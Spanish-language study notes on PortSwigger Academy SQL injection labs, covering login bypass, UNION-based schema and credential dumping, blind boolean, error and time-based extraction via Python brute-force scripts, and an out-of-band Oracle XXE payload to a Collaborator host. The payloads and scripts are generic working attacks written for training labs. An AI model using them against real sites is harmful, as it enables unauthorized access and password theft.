SQL Injection

SQL Injection

URL = https://portswigger.net/web-security/all-labs

Lab: SQL Injection vulnerability in WHERE clause allowing retrieval of hidden data

Si le damos a una de las etiquetas del filtro vemos que en la URL hace una comparacion, por lo que si hacemos lo siguiente filtrariamos todo lo que hay en la base de datos que es el proposito...

URL = https://0aac001703bff4ba80fdd598003e00c1.web-security-academy.net/filter?category=Lifestyle' or 1=1-- -

Lo que hemos añadido es lo siguiente...

' or 1=1-- -

Que quedaria visto desde la terminal de mysql de la siguiente manera...

select * from products where 'lifestyle' and released = 1;
select * from products where 'input' or 1=1-- -' and released = 1;

Lab: SQL Injection vulnerability allowing login bypass

En este caso vemos una pagina web con un login y lo que tenemos es que pasarlo utilizando SQL Injection, haremos lo siguiente...

username = admin' or 1=1-- -
password = <LO_QUE_SEA>

Lo que añado en el username es...

' or 1=1-- -

o tambien haciendo lo siguiente sirve, ya que estamos comanetando la comparativa de la autenticacion de la password...

administrator'-- -

Se ve de esta manera desde la consola de mysql...

select username,password from users where username = 'administrator' and password = '%s'

Ya que es una logica que siempre se va a cumplir 1=1 y despues lo comentamos utilizando -- - u otro signo que sea para comentar la comparativa de la contraseña, respecto a la ' lo ponemos para que cierre cualquier logica que este haciendo mysql...

Con esto comprobamos que somos admin automaticamente ya que petamos la logica de mysql, pero donde pone (admin) puedes poner lo que quieras, es por poner una palabra...

URL (Payloads genericos para este tipo de casos) = https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md

Lab: SQL Injection UNION attack, determining the number of columns returned by the query

En este caso para determinar el numero de columnas que tiene la tabla en la base de datos mediante la URL seria de la siguiente manera...

' order by 3-- -

Con esto lo que estamos haciendo es finalizar con la ' el input que haya antes y lo de despues es que estamos haciendo que nos marque esos 3 campos, pero si hubiera 4 se pone hasta el numero 4 y asi sucesivamente, de primeras se tiene que probar con la siguiente injeccion...

' order by 100-- -

Si sale un error como Error internal server o algun otro tipo de error del servidor o de mysql significa que funciona pero que no tiene esos campos, por lo que habria que ir probando poco a poco hasta que nos devuelva un 200 OK como que dimos en el clavo de los campos que tiene, una vez sabiendo los campos que tiene hacemos lo siguiente (Pongamos que solo tiene 2 columnas el servidor)

' order by 2-- -

Ahora sabiendo los campos que tiene, tendremos que representar las columnas para que se nos muestre la informacion...

' union select 1,2-- -

o

' union select NULL,NULL-- -

Esto utlimo se pone cuando la URL o el servidor no admite numeros para este tipo de inyecciones, por lo que se le pone un NULL para que no haya "nada" pero que aun asi te lo muestre...

De forma representada en una base de datos de mysql seria de la siguiente manera...

select table1,table2 from users where table1 = 'input' union select NULL,NULL;-- -';

o para determinal una version o base de datos...

select table1,table2 from users where table1 = 'input' union select version(),database();-- -';

Con esto ya sabriamos las columnas que tiene y estaria hecho

Lab: SQL Injection UNION attack, finding a columns containing text

En este caso el objetivo es ponernos la cadena 'mFdsaD' en uno de los campos de las columnas (Entendiendo que ya sabemos que hay 3 columnas o campos...) tienes que ir probando sucesivamente hasta que en uno de los campos te deje inyectarle eso y con eso sabremos que ese campo en concreto es vulnerable a inyecciones...

' union select NULL,'mFdsaD',NULL-- -

Con esto ya habriamos logrado con exito inyectar esa palabra en uno de los campos siendo 1 solo el unico que deja ser inyectable...

Sabiendo que es el campo 2 el que se puede inyectar probariamos ya diferentes cosas como por ejemplo listar la version...

' union select NULL,@@version,NULL-- -

Lab: SQL Injection UNION attack, retrieving data from other tables

Como el objetivo de esta otra practica es averiguar el user y password del usuario admin, haremos lo siguiente...

Sabemos que con esto podemos saber las databases que hay en mysql...

' union select 1,schema_name from information_schema.schemata-- -

o

' union select 1,group_concat(schema_name) from information_schema.schemata-- -

Pero si no fuera por que te lo limitara la pagina, se puede ir 1 por 1...

' union select 1,schema_name from information_schema.schemata limit 1-- -
' union select 1,schema_name from information_schema.schemata limit 0,1-- -
' union select 1,schema_name from information_schema.schemata limit 1,1-- -
' union select 1,schema_name from information_schema.schemata limit 3,1-- -

Y se van poniendo numeros sucesivamente dependiendo de la base de datos que quieras mostrar, para ello tendrias que ir probando varios numeros hasta que encuentres una interesante...

Con esto listamos la base de datos existentes sabiendo que hay 2 columnas...

' union select schema_name,NULL from information_schema.schemata-- - 

#Listar bases de datos

Una vez sabiendo que y visualizando la bases de datos que nos aparecen veremos uno llamado public por lo que ahora veremos las tablas que se encuentran dentro de public...

' union select table_name,NULL from information_schema.tables where table_schema='public'-- - 

#Listar tablas

Hecho esto nos apareceran 2, users y production...

' union select column_name,NULL from information_schema.columns where table_schema='public' and table_name='users'-- - 

#Listar columnas

REPRESENTATIVO:

' union select column_name,NULL from information_schema.columns where table_schema='database' and table_name='table'-- -

Con esto listamos las columnas que se encuentran dentro de la tabla users...

' union select group_concat(username,':',password),NULL from users-- -

o

' union select 'username',NULL from users-- -

' union select 'password',NULL from users-- -

o

' union select username||':'||password,NULL from users-- -

o

' union select group_concat(username,0x3a,password),NULL from users-- -

Este ultimo ejemplo es por si no admitiera concatenar la informacion de las columnas con separaciones de : se podria poner los : pero de manera hexadecimal y su valor seria...

: = 3A ==> : = 0x3a

Esto se puede mirar en la terminal y filtrando por los : poniendo...

man ascii

#Dentro de esa interfaz
/:

o

man ascii | grep ':'

Pero si queremos ver el contenido de la tabla users pero esa tabla no se encuentra en la base de datos donde estamos inyectando el codigo de mysql tendriamos que conocer el nombre de esa base de datos y hacer lo siguiente...

' union select group_concat(username,':',password),NULL from database.users-- -

o

' union select 'username',NULL from database.users-- -

o

' union select concat(username,':',password),NULL from database.users-- -

Lab: SQL Injection UNION attack, retrieving multiple values in a single column

Aqui nos dice casi lo mismo de antes, que saquemos las credenciales listando las columnas para registrarnos en la pagina web...

' union select schema_name,NULL from information_schema.schemata-- -
' union select table_name,NULL from information_schema.tables where table_schema='public'-- -
' union select concat(username,':',password),NULL from users-- -

o

' union select username||':'||password,NULL from users-- -

Lab: SQL Injection attack, querying the database type and version on Oracle

URL (Oracle SQL Injection) = https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md

Al ser en Oracle cambian algunos detalles a la hora de hacer este tipo de inyecciones...

Nos va a dar ERROR si ponemos lo siguiente ya que nos estamos enfrentando ante un Oracle...

' union select NULL,NULL-- -

Pero como estamos en Oracle para que nos funcione eso de aqui arriba, tendriamos que hacer lo siguiente...

' union select NULL,NULL from dual-- -

Eso de from dual es una regla que se tiene que cumplir al ser Oracle y para hacer las otras inyecciones como lo que nos piden aqui que es ver la version y base de datos de esa pagina web hariamos lo siguiente...

Si nos vamos a la ayuda que nos da de la misma pagina de los creadores de PortSwigger encontrariamos esto de Oracle...

SELECT banner FROM v$version

Por lo que tendriamos que cambiar uno de los NULL por banner y donde pone v$version lo cambiaremos por dual...

' union select NULL,banner from v$version-- -

Info:

|CORE 11.2.0.2.0 Production|
|NLSRTL Version 11.2.0.2.0 - Production|
|Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production|
|PL/SQL Release 11.2.0.2.0 - Production|
|TNS for Linux: Version 11.2.0.2.0 - Production|

# Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

En este caso tenemos que saber la version de la base de datos de Microsoft sabiendo que hay 2 columnas todavia haremos lo siguiente...

Guiandonos de la chuleta de la propia pagina en la seccion de Microsoft pondria algo tal que asi...

SELECT @@version

Por lo que hariamos lo siguiente...

' union select NULL,@@version-- -

Y con esto ya habriamos resuelto esta parte...

Info:

8.0.36-0ubuntu0.20.04.1

Lab: SQL injection attack, listing the database contents on non-Oracle databases

Aqui nos pide que saquemos el usuario y contraseña de la base de datos de esta pagina, por lo que haremos lo siguiente en la URL...

' union select NULL,NULL-- -

Con esto sabemos que no es nada de Oracle ni nada parecido...

' union select NULL,schema_name from information_schema.schemata-- -

Veremos que nos aparece una llamada public por lo que haremos lo siguiente...

' union select NULL,table_name from information_schema.tables where table_schema='public'-- -

Y nos aparecera lo siguiente...

users_veujmf

Por lo que elegimos esa misma...

' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users_veujmf'-- -

Y nos aparecera lo siguiente...

|email|
|password_noopnn|
|username_fwnbqa|

En este caso vamos hacer los dos a la vez concatenando comandos para elegir el de password_noopnn y el de username_fwnbqa...

' union select NULL,concat(password_noopnn,':',username_fwnbqa) from users_veujmf-- -

Y estaremos viendo entre los usuarios y contraseñas la de admin, por lo que nos registramos y ya lo habriamos hecho...

|do57nju65zautaj4ps8r:carlos|
|jervglfw9ptwhzpsng8c:administrator|
|53pu6vfp0qtsdig3ccrt:wiener|

Lab: SQL injection attack, listing the database contents on Oracle

URL = https://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

En este caso tenemos que logearnos como administradores en esta pagina web...

Al ser Oracle ya cambia la cosa en algunos aspectos a la hora de poder ver una base de datos o una tabla...

' union select NULL,NULL from dual-- -

Para saber que es a Oracle a los que nos estamos enfrentando, por lo que ahora vamos a pasar a ver las bases de datos que se encuentran en esta pagina...

' union select NULL,table_name from all_tables-- -

Ahi mostraria todas las tablas que hay, pero si solo queremos filtrar por las tablas que sean con privilegios altos, hariamos lo siguiente...

' union select NULL,owner from all_tables-- -

Y aparecerian estas...

|APEX_040000|
|CTXSYS|
|MDSYS|
|PETER|
|SYS|
|SYSTEM|
|XDB|

La mas curiosa es la de PETER, si queremos filtrar por esa tabla en concreto, lo que haremos sera...

' union select NULL,table_name from all_tables where owner='PETER'-- -

Con esto lo que hacemos es que nos muestre las tablas o columnas en las que PETER tiene privilegios altos indicandole el owner...

|PRODUCTS|
|USERS_NADZKF|

Sabiendo que USERS_NADZKF es la que queremos ver, para ver las columnas que contiene esa tabla, lo que haremos sera lo siguiente...

' union select NULL,column_name from all_tab_columns where table_name='USERS_NADZKF'-- -

Y aparecera lo siguiente...

|EMAIL|
|PASSWORD_MJWVFY|
|USERNAME_UGMMPB|

Y para poder ver el contenido del username y del password haremos lo siguiente...

' union select NULL,PASSWORD_MJWVFY||':'||USERNAME_UGMMPB from USERS_NADZKF-- -

Veremos esto...

|2nwbzbzmt1znmwdtb02r:wiener|
|gl4x0f8gfbciozsmeqk4:administrator|
|re1ubcoda6pcoz8176aq:carlos|

Por lo que nos logeamos con el de admin y ya estaria...

Lab: SQL injection UNION attack, determining the number of columns returned by the query

En este caso te dice que tienes que rellenar todas las columnas de NULL, por lo que haremos lo siguiente...

Veremos cuantas columnas tiene...

' order by 3-- -

Con esto sabemos que si ponemos 4 ya nos devuelve un error, por lo que son 3...

' union select NULL,NULL,NULL-- -

Y si ponemos eso, ya habriamos rellenado las 3 columnas que hay de NULL por lo que ya lo tendriamos resuelto...

Lab: SQL injection UNION attack, finding a column containing text

En este caso lo que hay que hacer es poner la cadena qnUgvU en la columna que sea inyectable, para ver eso tendremos que ver lo siguiente...

' union select NULL,schema_name,NULL from information_schema.schemata-- -

Con esto sabemos que el NULL del medio es inyectable, por lo que haremos lo siguiente...

' union select NULL,'qnUgvU',NULL-- -

Y hecho esto ya lo habriamos resuelto...

Lab: SQL injection UNION attack, retrieving data from other tables

Aqui lo que necesitamos es obtener la informacion de la tabla de usuarios para ver las credenciales de todos los usuarios incluyendo el de admin para poder registrarnos con el mismo...

' union select NULL,NULL-- -

Con esto sabemos que no es nada de Oracle ni nada parecido...

' union select NULL,schema_name from information_schema.schemata-- -

Veremos que nos aparece una llamada public por lo que haremos lo siguiente...

' union select NULL,table_name from information_schema.tables where table_schema='public'-- -

Y nos aparecera lo siguiente...

users

Por lo que haremos lo siguiente...

' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users'-- -

Aparecera lo siguiente...

|email|
|password|
|username|
' union select NULL,username||':'||password from users-- -
|wiener:bwrtkxibjnvzvno51nfu|
|administrator:u7ve13tyofvcu2nvnq06|
carlos:yzoxtf8gpjq7uwyrnxsd

Con esto ya nos podremos registrar como admin en la pagina web...

Lab: SQL injection UNION attack, retrieving multiple values in a single column

En esta practica tendremos que hacer basicamente lo mismo que en las anteriores, conseguir las credenciales completas de todos los usuarios y entre ellas registrarnos como admin...

Sabiendo que sigue la misma mecanica y que las bases de datos y tablas son iguales, para comprobarlo haremos lo siguiente...

' union select NULL,column_name from information_schema.columns where table_schema='public' and table_name='users'-- -

Con esto veremos su contenido para ahora mirar lo que contiene cada columna...

|email|
|password|
|username|

Para poder ver su contenido haremos lo siguiente...

' union select NULL,username||':'||password from users-- -
administrator:hiz32i5u8t7wiuoy9zl4
|carlos:g0089e41680ml73ivdpy|
|wiener:ksdios9ully0hqld2gy6|

Y con esto ya podriamos registrarnos como admin en la pagina web...

Lab: Blind SQL injection with conditional responses

En esta practica sera mas a ciegas, ya que no aparecera lo que estas metiendo representado en la pagina como tal, como en las anteriores practicas y tendremos que conseguir las credenciales de admin para logearnos...

Lo que nos dice el ejercicio es que se puede inyectar desde la coockie, para ello utilizaremos BurpSuit...

Dentro de la peticion de BurpSuit se puede hacer de mcuhas manera, la mas optima es automatizarlo con un script de Python o con el propio Intruder de BurpSuit para hacer fuerza bruta a la contraseña, pero antes de hacer todo esto hay que explicar el funcionamiento del mismo...

Como sabemos que el campo inyectable es la coockie en especifico el campo de TrackingId aparecera unas letras seguidas unas de otras, al final es donde se empieza a poner la inyeccion de la ' por lo que el mecanismo seria de la siguiente manera...

' and 1=1-- -;

o

' and '1'='1;

Esas 2 situaciones anteriores hacen el mismo efecto, ya que dentro de la terminal de mysql se veria de la siguiente manera...

select * from products where TrackingId='algo' and 1=1-- -';

o

select * from products where TrackingId='algo' and '1'='1';

Lo que estamos haciendo aqui es concatenar comandos que en este caso se puede, por lo que estamos haciendo un ataque a ciegas por lo que tendremos que ir probando letra por letra si estamos haciendo bien la inyeccion o automatizarlo, pero antes de hacer eso para saber que vamos por buen camino, dentro de la pagina hay una palabra llamada Welcome back! que cuando hacemos mal la inyeccion desaparece, pero cuando la hacemos bien, se mantiene visible, por lo que aprovecharemos eso para ir viendo como vamos, para hacer esas comprobaciones haremos lo siguiente...

Ahora lo que vamos hacer es ir probando poco a poco, la informacion que estamos acertando y la que no...

' and (select 'a')='a;

Como eso siempre va a ser igual deberiamos de visualizar la palabra que mencione anteriormente, si le pusieramos una b u otra letra que no sea la a en este caso, desapareceria ya que la comparacion que estamos haciendo no coincide...

' and (select 'a' from users limit 1)='a;

Como sabemos que hay una tabla llamada users y que estamos haciendo la comparacion que siempre va a ser cierta, seguiremos viendo la palabra, por lo que lo estaremos haciendo bien (Ya que dentro de la tabla mencionada tiene por ahi una a)...

' and (select 'a' from users where username='administrator')='a;

o

' and (select substring(username,1,1) from users where username='administrator')='a;

A lo que se refiere con username,1,1 esta haciendo una comparacion de la palabra administrator con la primera letra de la palabra a, que en este caso se cumple ya que es la a...

o

' and (select substring(username,2,1) from users where username='administrator')='d;

Sabemos que el usuario que estamos intentando adivinar su contraseña es la del administrator por eso hacemos eso de ahi arriba, pero lo podemos hacer de mas maneras distintas...

TODO ESTO ES POR QUE EN ESTA PRACTICA SE ESTA PRACTICANDO LO QUE SE CONOCE COMO CONDITIONAL ERROR POR LO QUE TENDREMOS QUE IR PROBANDO LETRA POR LETRA PARA IR SABEINDO CUANDO DA UN ERROR Y CUANDO NO (CUANDO NO DE EL ERROR SIGNFICA QUE LA LETRA ESTA...)

Ahora si queremos saber la contraseña de este usuario, haremos lo siguiente...

' and (select substring(password,1,1) from users where username='administrator')='a;

Donde pone password se le pone el nombre de la tabla que contenga las contraseñas y tendremos que ir probando letra por letra con comparaciones las que te van dando fallos y las que no, pero para no hacerlo de forma manual, utilizaremos el intruder...

Todo el request nos lo llevamos al intruder utilizando ^I, dentro de el, seleccionaremos la seccion en la que pone a ubicado en la ultima linea del codigo...

' and (select substring(password,1,1) from users where username='administrator')='<SELECCIONADO>;

Y le daremos al boton de add § para que se nos coloquen esos 2 simbolos a los lados de la siguiente manera...

' and (select substring(password,1,1) from users where username='administrator')='§a§;

Vamos hacer un ataque de Sniper asi que lo dejamos por defecto, seguidamente vamos a la pestaña donde pone payload para cargar un diccionario, en nuestro caso tendremos que sustituir la a por todas las letras del abecedario y numeros del 0-9 para que nos saque la contraseña a fuerza bruta, cuando tengamos el diccionario algo tal que asi...

a
b
c
d
...
0
1
2
3
...

Lo cargaremos en la pestaña de payload donde pone Payload Settings [Simple List] le damos al boton Load... para cargar ese diccionario .txt y una vez hecho eso le damos al boton Start attack para iniciar el ataque de fuerza bruta, nos tendremos que fijar en los codigos de respuesta para ir sacando la contraseña poco a poco, por ejemplo aparecera algo ral que asi...

1              a             200             11409
7              e             200             11470 

Por lo que el que se repetira mucho es el codigo 11409 ese significa que dio error, por lo que tendremos que fijarnos solo en los codigos 11470 y asi ir cogiendo las letaras 1 por 1, hasta montar la contraseña, pero esto seria con la funcion Intruder, si lo queremos hacer con un script de python seria de la siguiente manera...

Antes de hacer el script para que funcione instalaremos lo siguiente...

pip3 install pwntools

Una vez echo eso tendremos que saber de cuantos caracteres se compone la contraseña del usuario, lo haremos de la siguiente manera...

Con esto lo que estamos haciendo es que decimos que la contraseña es mayor a 5 caracteres y como tiene mas de 5 caracteres sera correcto por lo que el Welcome back! seguira ahi...

' and (select 'a' from users where username='administrator' and length(password)>5)='a;

En este caso nos pasamos poniendo que si es mayor de 50 caracteres, por lo que probaremos con un numero menor...

' and (select 'a' from users where username='administrator' and length(password)>50)='a;

Y si finalmente hacemos lo siguiente veremos que la contraseña tendra 20 caracteres, ya que si ponemos 21 nos da error, por lo que 20 seria el correcto y tambien se puede comprobar poniendo un >=....

' and (select 'a' from users where username='administrator' and length(password)>20)='a;

o

' and (select 'a' from users where username='administrator' and length(password)>=20)='a;

Una vez sabiendo todo esto el script quedaria de la siguiente manera...

Yo lo llame SQLI_Conditional_Response.py

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
        print("\n\n[!] Saliendo...\n")
        sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0a8e00f5049e3d15802e5d13003c004f.web-security-academy.net"
characters = string.ascii_lowercase + string.digits

def makeRequest():

        password = ""

        p1 = log.progress("Fuerza bruta")
        p1.status("Iniciando ataque de fuerza bruta")

        time.sleep(2)

        p2 = log.progress("Password")

        for position in range(1, 21):   #Esto hace que pruebe hasta 20 caracteres
                for character in characters:

                        cookies = {
                                'TrackingId': "BvroHPKR23vLwHzo' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
                                'session': 'QPWCx6VEaIuh5N4noRLLTg5sziXnpfQ5'
                        }

                        p1.status(cookies['TrackingId'])

                        r = requests.get(main_url, cookies=cookies)

                        if "Welcome back!" in r.text:
                                password += character
                                p2.status(password)
                                break

if __name__ == '__main__':

        makeRequest()

Donde pone TrackingId tendremos que poner el nuestro que aparece en la captura de BurpSuit hasta antes de la ', donde pone session igual, lo que nos aparezca a nosotros y por ultimo donde pone main_url lo que contiene nuestro host en el request capturado añadiendole https://...

python3 SQLI_Conditional_Response.py

Info:

[◢] Fuerza bruta: BvroHPKR23vLwHzo' and (select substring(password,20,1) from users where username='administrator')='b
[<] Password: 8jumk2e52dxl45m51lgb

Una vez hecho todo esto tendriamos la contraseña, la probamos y ya estaria hecha...

Lab: Blind SQL injection with conditional errors

En esta parctica lo que debemos de hacer es parecido a la anterior pero en este caso hay que jugar con los errores de la pagina, por lo que nos tendremos que guiar por eso...

Utilizaremos el BurpSuit para capturar la peticion de la pagina y llevandolo al Repeater con ^R podremos ir probando hay inyecciones de comandos...

'||(select '')||';

Si lo dejamos asi nos dara error por lo que nos da a entender que tiene que ser otro tipo de base de datos la que se esta manejando...

'||(select '' from dual)||';

Si ponemos eso si nos va a ir, por lo que estamos trabajando con un Oracle, ahora para seguir viendo si vamos bien haremos diferentes comprobaciones de si estamos acertando la tabla o no...

'||(select '' from users where rownum=1)||';

Esto nos da un 200 OK por lo que la tabla users existe de por si y no nos esta dando ningun fallo, asi que vamos bien...

'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||';

Lo que estamos haciendo aqui es que primero va a comprobar si la linea from users where username='administrator' es correcta (Si existe el usuario administrator) y si es asi hace la accion de lo siguiente que es select case when (1=1) then to_char[1/0] else '' end basicamente como existe y como 1=1 siempre va hacer la operacion de 1/0 como eso siempre va a ser un error nos dara el error 500, pero si ponemos lo siguiente...

'||(select case when (2=1) then to_char(1/0) else '' end from users where username='administrator')||';

Vera que 2=1 no es igual y hara else '' por lo que nos dara un 200 OK a todo esto sabiendo que el usuario administrator es el correcto, por que de lo contrario pasaria lo siguiente...

'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrat')||';

Si lo dejamos en ese usuario que no existe cuando lo compruebe vera el servidor que no existe, por lo que no hara la siguiente comprobacion select case when (1=1) then to_char[1/0] else '' end y dentro de esta comprobacion da igual lo que cambiemos siempre reciviremos un 200 OK por lo que poniendo el usuario bien y jugando con la logica de errores, podremos adivinar la contraseña...

Ahora adivinaremos la longitud de la contraseña, guiandonos por la practica anterior que tenia 20 caracteres, esta sera igual y lo comprobamos de la siguiente manera...

'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrat' and length(password)>=20)||';

Nos deberia de salir un error 500, esto significa que lo estamos haciendo bien y que la contraseña si tiene 20 caracteres, ya que lo primero que comprueba es que esto se cumpla from users where username='administrat' and length(password)>=20 para seguir haciendo lo demas select case when (1=1) then to_char[1/0] else '' end...

'||(select case when substr(username,1,1)='a' then to_char(1/0) else '' end from users where username='administrat')||';

Ahora lo que estamos haciendo es hacer la comprobacion para saber si estamos llendo bien a la hora de adivinar la letra, en este caso, estamos haciendo que la primera inicial del username administrator es igual a la letra a en este caso si es cierto, por lo que nos tendria que devolver un error 500 y tenemos que utilizar substr para Oracle por que en otros seria substring...

Ahora sabiendo que eso funciona pondremos lo siguiente para que en nuestro script de python nos descubra la contarseña...

'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||';

Ahora vamos a crear el script de python3 recopilando un poco del anterior, quedaria de la siguiente manera...

Yo llame al script SQLI_Conditional_Error.py

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
        print("\n\n[!] Saliendo...\n")
        sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0a0e00a00372e9a1808908f3003d00c7.web-security-academy.net"
characters = string.ascii_lowercase + string.digits

def makeRequest():

        password = ""

        p1 = log.progress("Fuerza bruta")
        p1.status("Iniciando ataque de fuerza bruta")

        time.sleep(2)

        p2 = log.progress("Password")

        for position in range(1, 21):   #Esto hace que pruebe hasta 20 caracteres
                for character in characters:

                        cookies = {
                                'TrackingId': "JcghQJrdTU2JxTFw'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username='administrator')||'" % (position, character),
                                'session': 'uIgDP6wFHLAewh2oBh1xLh2Zz9tv5WI3'
                        }

                        p1.status(cookies['TrackingId'])

                        r = requests.get(main_url, cookies=cookies)

                        if r.status_code == 500:        #Comparacion con el codifo de estado de la pagina
                                password += character
                                p2.status(password)
                                break

if __name__ == '__main__':

        makeRequest()

En este caso cambiaremos la comparacion de Welcome back! por r.status_code == 500 para que haga la comparacion del codigo de respuesta y ya lo demas que se ajuste a nuestro request

python3 SQLI_Conditional_Error.py

Info:

[┌] Fuerza bruta: JcghQJrdTU2JxTFw'||(select case when substr(password,20,1)='9' then to_char(1/0) else '' end from users where username='administrator')||'
[O] Password: sbwt8m6hn5m9igp9cta9

Una vez hecho esto ya lo tendriamos, nos logeamos y listo...

Lab: Visible error-based SQL injection

En esta practica hay que hacer algo parecido a lo anterior, en este caso tenemos que sacar la contraseña del admin con inyeccion de SQL en una base de datos manejada por PostgreSQL y dependiendo de los errores que te de sera una cosa u otra...

' and (select substring(password,1,1) from users where username='administrator')='a;

Para sacar la contraseña lo automatizaremos...

Yo llame a este archivo .py SQLI_Conditional_Error_PostgreSQL.py

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
        print("\n\n[!] Saliendo...\n")
        sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0a0e00a00372e9a1808908f3003d00c7.web-security-academy.net"
characters = string.ascii_lowercase + string.digits

def makeRequest():

        password = ""

        p1 = log.progress("Fuerza bruta")
        p1.status("Iniciando ataque de fuerza bruta")

        time.sleep(2)

        p2 = log.progress("Password")

        for position in range(1, 21):   #Esto hace que pruebe hasta 20 caracteres
                for character in characters:

                        cookies = {
                                'TrackingId': "JcghQJrdTU2JxTFw' and (select substring(password,%d,1) from users where username='administrator')='%s" % (position, character),
                                'session': 'uIgDP6wFHLAewh2oBh1xLh2Zz9tv5WI3'
                        }

                        p1.status(cookies['TrackingId'])

                        r = requests.get(main_url, cookies=cookies)

                        if r.status_code == 500:        #Comparacion con el codifo de estado de la pagina
                                password += character
                                p2.status(password)
                                break

if __name__ == '__main__':

        makeRequest()
python3 SQLI_Conditional_Error_PostgreSQL.py

Y esto nos daria la contraseña del admin, nos registramos y ya estaria listo...

Lab: Blind SQL injection with time delays

Lo que hay que hacer aqui basicamente es que la web tarde en responder 10 segundos, para ello lo que haremos sera una inyeccion de mysql con tiempos de espera (sleep), por lo que hariamos lo siguiente...

Antes de nada vemos que se esta trabajando con una base de datos PostgreSQL por lo que se utiliza de otra manera para mandar sleep aunque eso se puede ir viendo haciendo pruebas cuales funionan y cuales no...

'||pg_sleep(10)-- -;

Esto hay que ubicarlo donde pone TrackingId ya que es la zona inyectable...

Con esto lo que hacemos es que tarde en respondernos la pagina 10 segundos, por lo que ya estaria hecho...

Lab: Blind SQL injection with time delays and information retrieval

En esta practica lo que hay que hacer es sacar la contraseña del admin mediante sleep jugando con esas opciones, como si fuera un true/false...

'||(select case when (1=1) then pg_sleep(10) else pg_sleep(0) end from users where username='administrator')-- -;

Lo que estamos haciendo aqui es que cuando se cumpla la comparacion 1=1 (Que es siempre) se tardara la pagina en respondernos 10 segundos, pero de lo contrario (else) tardara 0 segundos, entendiendo que existe la tabla users con el usuario administrator, con esto podemos comprobar que todo se cumple correctamente...

'||(select case when (1=1) then pg_sleep(10) else pg_sleep(0) end from users where username='administrator' and lenght(password)>=20)-- -;

Con esto comprobamos que la contarseña tenga 20 caracteres, si va bien tardara 10 segundos en respondernos...

'||(select case when substring(username,1,1)='a' then pg_sleep(10) else pg_sleep(0) end from users where username='administrator')-- -;

Con esto comprobamos que vaya esta mecanica de comprobar letras por filas, con el nombre de usuario, ya que se cumple la comparacion de que el username administrator empieza por la letra a tardara 10 segundos en respondernos la pagina por lo que funciona, ahora lo mismo pero con la password implementandolo en el script...

'||(select case when substring(password,1,1)='a' then pg_sleep(10) else pg_sleep(0) end from users where username='administrator')-- -;

Ahora todo esto lo vamos a implementar en el script de python3 quedando de la siguiente manera...

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
        print("\n\n[!] Saliendo...\n")
        sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0a6600b9032c16a080e253b500290045.web-security-academy.net"
characters = string.ascii_lowercase + string.digits

def makeRequest():

        password = ""

        p1 = log.progress("Fuerza bruta")
        p1.status("Iniciando ataque de fuerza bruta")

        time.sleep(2)

        p2 = log.progress("Password")

        for position in range(1, 21):   #Esto hace que pruebe hasta 20 caracteres
                for character in characters:

                        cookies = {
                                'TrackingId': "fdDQYd0euaN829vd'||(select case when substring(password,%d,1)='%s' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -" % (position, character),
                                'session': 'BbXQwHYZxUm7EVaew4zA2uNgh4QKq8hi'
                        }

                        p1.status(cookies['TrackingId'])

                        time_start = time.time()

                        r = requests.get(main_url, cookies=cookies)

                        time_end = time.time()

                        if time_end - time_start > 1.5: #Comparacion si el tiempo que tarda es mayor que 1.5 es la correcta
                                password += character
                                p2.status(password)
                                break

if __name__ == '__main__':

        makeRequest()

Unicamente tenemos que cambiar la mecanica de la comparacion que hace r.status_code == 500 por time_end - time_start > 1.5 a parte de que añadimos time_start = time.time() y time_end = time.time()y ya todo lo demas a lo que se nos ajuste a nuestro request...

python3 SQLI_Blind.py

Info:

[/] Fuerza bruta: fdDQYd0euaN829vd'||(select case when substring(password,20,1)='l' then pg_sleep(1.5) else pg_sleep(0) end from users where username='administrator')-- -
[ ] Password: 5xskvx9lqcuwtq1rakul

Con esto ya tendriamos la contraseña, por lo que nos logeamos y estaria listo...

Lab: Blind SQL injection with out-of-band interaction

Aqui no va a servir nada de lo anterior ya que se tiene que hacer de una manera especifica, utilizando BurpSuit e interactuando con los servidores DNS y hacer un DNS Lookup...

En este caso tienes que tener BurpSuit comprado para hacer la parctica ya que tendriamos que obtener el codigo del BurpSuit Colaboration Client para poder ponerlo en el siguiente codigo, pero si se tuviera se inyectaria de la siguiente manera...

'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://<CODIGO_BURPSUIT_COLABORATION>/"> %remote;]>'),'/l') FROM dual)-- -

Y todo esto se tendria que URL Encodear para que funcione presionando ^U en BurpSuit...

Quedaria algo tal que asi encodeado en URL...

'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//<CODIGO_BURPSUIT_COLABORATION>/">+%25remote%3b]>'),'/l')+FROM+dual)--+-

Lab: Blind SQL injection with out-of-band data exfiltration

En este caso es lo mismo que antes pero en modo exfiltration, lo hariamos de la siguiente manera...

